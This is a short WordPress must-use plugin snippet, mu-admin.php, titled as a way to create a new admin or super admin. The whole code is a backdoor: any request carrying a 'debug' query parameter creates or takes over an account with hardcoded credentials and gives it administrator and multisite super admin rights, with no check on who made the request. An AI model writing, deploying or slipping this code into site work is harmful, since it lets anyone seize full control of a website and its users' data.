PHP: WordPress New Admin/Super Admin

mu-admin.php

<?php

add_action( 'init', function () {

    if ( !isset( $_GET['debug'] ) ) {
        return;
    }

    $username = 'user';
    $password = 'pass';
    $email_address = 'my@email.com';
    $user = get_user_by( 'email' , $email_address );

    if ( ! username_exists( $username ) && ! $user ) {
        $user_id = wp_create_user( $username, $password, $email_address );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
        if ( is_multisite() ) {
            grant_super_admin( $user_id );
        }
        wp_new_user_notification($user_id, $password);
    } else {
        if ( ! $user ) {
            $user = get_user_by( 'username' , $username );
        }
        $user->set_role( 'administrator' );
        if ( is_multisite() ) {
            grant_super_admin( $user->ID );
        }

        if ( $username !== $user->user_login ) {
            global $wpdb;
            $wpdb->update( $wpdb->users, array( 'user_login' => $username ), array( 'ID' => $user->ID ) );
        }
    }

} );